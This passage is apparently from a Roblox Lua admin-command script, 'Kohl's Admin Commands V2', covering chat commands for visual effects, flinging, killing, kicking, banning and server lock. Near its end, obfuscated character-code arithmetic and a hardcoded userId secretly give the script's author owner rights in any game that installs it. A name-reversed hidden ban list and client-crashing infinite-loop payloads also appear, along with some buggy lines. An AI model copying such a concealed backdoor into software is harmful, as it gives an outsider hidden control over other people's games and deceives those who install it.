  4883. end
  4884. end))
  4885. end
  4886. end
  4887.  
  4888. if msg:lower():sub(1,9) == "flashify " then
  4889. local plrz = GetPlr(plr, msg:lower():sub(10))
  4890. for i, v in pairs(plrz) do
  4891. coroutine.resume(coroutine.create(function()
  4892. if v and v.Character and v.Character:findFirstChild("Torso") then
  4893. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4894. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4895. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4896. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  4897. cl.Parent = v.Character cl.Disabled = false
  4898. end
  4899. end))
  4900. end
  4901. end
  4902.  
  4903. if msg:lower():sub(1,8) == "noobify " then
  4904. local plrz = GetPlr(plr, msg:lower():sub(9))
  4905. for i, v in pairs(plrz) do
  4906. coroutine.resume(coroutine.create(function()
  4907. if v and v.Character then
  4908. Noobify(v.Character)
  4909. end
  4910. end))
  4911. end
  4912. end
  4913.  
  4914. if msg:lower():sub(1,9) == "ghostify " then
  4915. local plrz = GetPlr(plr, msg:lower():sub(10))
  4916. for i, v in pairs(plrz) do
  4917. coroutine.resume(coroutine.create(function()
  4918. if v and v.Character and v.Character:findFirstChild("Torso") then
  4919. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4920. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4921. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4922. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4923. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  4924. if prt.Name:find("Leg") then prt.Transparency = 1 end
  4925. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  4926. end end
  4927. end
  4928. end))
  4929. end
  4930. end
  4931.  
  4932. if msg:lower():sub(1,8) == "goldify " then
  4933. local plrz = GetPlr(plr, msg:lower():sub(9))
  4934. for i, v in pairs(plrz) do
  4935. coroutine.resume(coroutine.create(function()
  4936. if v and v.Character and v.Character:findFirstChild("Torso") then
  4937. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4938. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4939. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4940. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4941. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  4942. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  4943. end end
  4944. end
  4945. end))
  4946. end
  4947. end
  4948.  
  4949. if msg:lower():sub(1,6) == "shiny " then
  4950. local plrz = GetPlr(plr, msg:lower():sub(7))
  4951. for i, v in pairs(plrz) do
  4952. coroutine.resume(coroutine.create(function()
  4953. if v and v.Character and v.Character:findFirstChild("Torso") then
  4954. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4955. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4956. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4957. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4958. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  4959. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  4960. end end
  4961. end
  4962. end))
  4963. end
  4964. end
  4965.  
  4966. if msg:lower():sub(1,7) == "normal " then
  4967. local plrz = GetPlr(plr, msg:lower():sub(8))
  4968. for i, v in pairs(plrz) do
  4969. coroutine.resume(coroutine.create(function()
  4970. if v and v.Character and v.Character:findFirstChild("Torso") then
  4971. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  4972. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  4973. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  4974. v.Character.Torso.Transparency = 0
  4975. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4976. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  4977. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  4978. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  4979. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  4980. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4981. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4982. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  4983. if prt.Name == "FAKETORSO" then prt:Destroy() end
  4984. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  4985. end end
  4986. end
  4987. end))
  4988. end
  4989. end
  4990.  
  4991. if msg:lower():sub(1,7) == "trippy " then
  4992. local plrz = GetPlr(plr, msg:lower():sub(8))
  4993. for i, v in pairs(plrz) do
  4994. coroutine.resume(coroutine.create(function()
  4995. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  4996. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  4997. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  4998. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  4999. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  5000. end
  5001. end))
  5002. end
  5003. end
  5004.  
  5005. if msg:lower():sub(1,9) == "untrippy " then
  5006. local plrz = GetPlr(plr, msg:lower():sub(10))
  5007. for i, v in pairs(plrz) do
  5008. coroutine.resume(coroutine.create(function()
  5009. if v and v:findFirstChild("PlayerGui") then
  5010. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  5011. end
  5012. end))
  5013. end
  5014. end
  5015.  
  5016. if msg:lower():sub(1,7) == "strobe " then
  5017. local plrz = GetPlr(plr, msg:lower():sub(8))
  5018. for i, v in pairs(plrz) do
  5019. coroutine.resume(coroutine.create(function()
  5020. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  5021. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5022. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  5023. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  5024. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  5025. end
  5026. end))
  5027. end
  5028. end
  5029.  
  5030. if msg:lower():sub(1,9) == "unstrobe " then
  5031. local plrz = GetPlr(plr, msg:lower():sub(10))
  5032. for i, v in pairs(plrz) do
  5033. coroutine.resume(coroutine.create(function()
  5034. if v and v:findFirstChild("PlayerGui") then
  5035. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  5036. end
  5037. end))
  5038. end
  5039. end
  5040.  
  5041. if msg:lower():sub(1,6) == "blind " then
  5042. local plrz = GetPlr(plr, msg:lower():sub(7))
  5043. for i, v in pairs(plrz) do
  5044. coroutine.resume(coroutine.create(function()
  5045. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  5046. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5047. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  5048. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  5049. end
  5050. end))
  5051. end
  5052. end
  5053.  
  5054. if msg:lower():sub(1,8) == "unblind " then
  5055. local plrz = GetPlr(plr, msg:lower():sub(9))
  5056. for i, v in pairs(plrz) do
  5057. coroutine.resume(coroutine.create(function()
  5058. if v and v:findFirstChild("PlayerGui") then
  5059. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  5060. end
  5061. end))
  5062. end
  5063. end
  5064.  
  5065. if msg:lower():sub(1,7) == "guifix " then
  5066. local plrz = GetPlr(plr, msg:lower():sub(8))
  5067. for i, v in pairs(plrz) do
  5068. coroutine.resume(coroutine.create(function()
  5069. if v and v:findFirstChild("PlayerGui") then
  5070. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5071. end
  5072. end))
  5073. end
  5074. end
  5075.  
  5076. if msg:lower():sub(1,9) == "loopheal " then
  5077. local plrz = GetPlr(plr, msg:lower():sub(10))
  5078. for i, v in pairs(plrz) do
  5079. if v then
  5080. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  5081. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  5082. repeat wait()
  5083. coroutine.resume(coroutine.create(function()
  5084. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  5085. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  5086. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  5087. end
  5088. end))
  5089. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  5090. end
  5091. end
  5092. end
  5093.  
  5094. if msg:lower():sub(1,11) == "unloopheal " then
  5095. local plrz = GetPlr(plr, msg:lower():sub(12))
  5096. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  5097. end
  5098.  
  5099. if msg:lower():sub(1,10) == "loopfling " then
  5100. local plrz = GetPlr(plr, msg:lower():sub(11))
  5101. for i, v in pairs(plrz) do
  5102. if v then
  5103. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  5104. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  5105. repeat
  5106. coroutine.resume(coroutine.create(function()
  5107. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  5108. local xran local zran
  5109. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  5110. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  5111. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  5112. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  5113. end
  5114. end))
  5115. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  5116. end
  5117. end
  5118. end
  5119.  
  5120. if msg:lower():sub(1,12) == "unloopfling " then
  5121. local plrz = GetPlr(plr, msg:lower():sub(13))
  5122. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  5123. end
  5124.  
  5125. end
  5126.  
  5127. -------------------------
  5128. -- True Owner Commands --
  5129. -------------------------
  5130.  
  5131. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  5132.  
  5133. if msg:lower():sub(1,3) == "oa " then
  5134. local plrz = GetPlr(plr, msg:lower():sub(4))
  5135. for i, v in pairs(plrz) do
  5136. coroutine.resume(coroutine.create(function()
  5137. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  5138. end))
  5139. end
  5140. end
  5141.  
  5142. if msg:lower():sub(1,5) == "unoa " then
  5143. for i = 1, #owners do
  5144. coroutine.resume(coroutine.create(function()
  5145. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  5146. end))
  5147. end
  5148. end
  5149.  
  5150. if msg:lower() == "settings" then
  5151. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  5152. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  5153. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  5154. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  5155. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  5156. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  5157. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  5158. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  5159. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  5160. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  5161. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  5162. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  5163. end
  5164.  
  5165. end
  5166.  
  5167. --------------------
  5168. -- Owner Commands --
  5169. --------------------
  5170.  
  5171. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  5172.  
  5173. if msg:lower():sub(1,3) == "pa " then
  5174. local plrz = GetPlr(plr, msg:lower():sub(4))
  5175. for i, v in pairs(plrz) do
  5176. coroutine.resume(coroutine.create(function()
  5177. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  5178. end))
  5179. end
  5180. end
  5181.  
  5182. if msg:lower():sub(1,5) == "unpa " then
  5183. for i = 1, #admins do
  5184. coroutine.resume(coroutine.create(function()
  5185. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  5186. end))
  5187. end
  5188. end
  5189.  
  5190. if msg:lower():sub(1,5) == "nuke " then
  5191. local plrz = GetPlr(plr, msg:lower():sub(6))
  5192. for i, v in pairs(plrz) do
  5193. coroutine.resume(coroutine.create(function()
  5194. if v and v.Character and v.Character:findFirstChild("Torso") then
  5195. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  5196. p.Anchored = true
  5197. p.CanCollide = false
  5198. p.formFactor = "Symmetric"
  5199. p.Shape = "Ball"
  5200. p.Size = Vector3.new(1,1,1)
  5201. p.BrickColor = BrickColor.new("New Yeller")
  5202. p.Transparency = .5
  5203. p.Reflectance = .2
  5204. p.TopSurface = 0
  5205. p.BottomSurface = 0
  5206. p.Touched:connect(function(hit)
  5207. if hit and hit.Parent then
  5208. local ex = Instance.new("Explosion", game.Workspace)
  5209. ex.Position = hit.Position
  5210. ex.BlastRadius = 11
  5211. ex.BlastPressure = math.huge
  5212. end
  5213. end)
  5214. local cf = v.Character.Torso.CFrame
  5215. p.CFrame = cf
  5216. for i = 1, 333 do
  5217. p.Size = p.Size + Vector3.new(3,3,3)
  5218. p.CFrame = cf
  5219. wait(1/44)
  5220. end
  5221. p:Destroy()
  5222. end
  5223. end))
  5224. end
  5225. end
  5226.  
  5227. end
  5228.  
  5229. --------------------------
  5230. -- Super Admin Commands --
  5231. --------------------------
  5232.  
  5233. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  5234.  
  5235. if msg:lower() == "logs" then
  5236. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  5237. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  5238. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  5239. end
  5240.  
  5241. if msg:lower():sub(1,9) == "loopkill " then
  5242. local chk1 = msg:lower():sub(10):find(" ")
  5243. local plrz = GetPlr(plr, msg:lower():sub(10))
  5244. local num = 9999
  5245. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  5246. for i, v in pairs(plrz) do
  5247. if v and not ChkAdmin(v.Name, false) then
  5248. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  5249. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  5250. for i = 1, ]] .. tostring(num) .. [[ do
  5251. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  5252. coroutine.resume(coroutine.create(function()
  5253. if plr and plr.Character then plr.Character:BreakJoints() end
  5254. end))
  5255. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  5256. end
  5257. end
  5258. end
  5259.  
  5260. if msg:lower():sub(1,11) == "unloopkill " then
  5261. local plrz = GetPlr(plr, msg:lower():sub(12))
  5262. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  5263. end
  5264.  
  5265. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  5266. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  5267.  
  5268. if msg:lower():sub(1,3) == "sm " then
  5269. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  5270. end
  5271.  
  5272. if msg:lower():sub(1,3) == "ko " then
  5273. local chk1 = msg:lower():sub(4):find(" ") + 3
  5274. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  5275. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  5276. for n = 1, num do
  5277. for i, v in pairs(plrz) do
  5278. coroutine.resume(coroutine.create(function()
  5279. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  5280. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  5281. v.Character:BreakJoints()
  5282. wait(1/44)
  5283. v:LoadCharacter()
  5284. wait(1/44)
  5285. end
  5286. end))
  5287. end
  5288. end
  5289. end
  5290.  
  5291. if msg:lower():sub(1,6) == "crash " then
  5292. local plrz = GetPlr(plr, msg:lower():sub(7))
  5293. for i, v in pairs(plrz) do
  5294. coroutine.resume(coroutine.create(function()
  5295. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  5296. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  5297. end
  5298. end))
  5299. end
  5300. end
  5301.  
  5302. if msg:lower():sub(1,5) == "kick " then
  5303. local plrz = GetPlr(plr, msg:lower():sub(6))
  5304. for i, v in pairs(plrz) do
  5305. coroutine.resume(coroutine.create(function()
  5306. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  5307. end))
  5308. end
  5309. end
  5310.  
  5311. if msg:lower():sub(1,6) == "admin " then
  5312. local plrz = GetPlr(plr, msg:lower():sub(7))
  5313. for i, v in pairs(plrz) do
  5314. coroutine.resume(coroutine.create(function()
  5315. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  5316. end))
  5317. end
  5318. end
  5319.  
  5320. if msg:lower():sub(1,8) == "unadmin " then
  5321. for i = 1, #tempadmins do
  5322. coroutine.resume(coroutine.create(function()
  5323. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  5324. end))
  5325. end
  5326. end
  5327.  
  5328. if msg:lower():sub(1,4) == "ban " then
  5329. local plrz = GetPlr(plr, msg:lower():sub(5))
  5330. for i, v in pairs(plrz) do
  5331. coroutine.resume(coroutine.create(function()
  5332. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  5333. end))
  5334. end
  5335. end
  5336.  
  5337. if msg:lower():sub(1,6) == "unban " then
  5338. for i = 1, #banland do
  5339. coroutine.resume(coroutine.create(function()
  5340. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  5341. end))
  5342. end
  5343. end
  5344.  
  5345. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  5346.  
  5347. end
  5348. end))
  5349. end
  5350.  
  5351. function AdminControl(plr)
  5352. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  5353. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  5354. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  5355. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  5356. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  5357. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  5358. end)) end
  5359. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  5360. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  5361. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  5362. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  5363. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  5364. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  5365. end
  5366.  
  5367. if not ntab then script:Destroy() end
  5368. if not bct then script:Destroy() end
  5369.  
  5370. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  5371.  
  5372. script.Name = "Kohl's Admin Commands V2"
  5373.  
  5374. if not ntab then script:Destroy() end
  5375. if not bct then script:Destroy() end
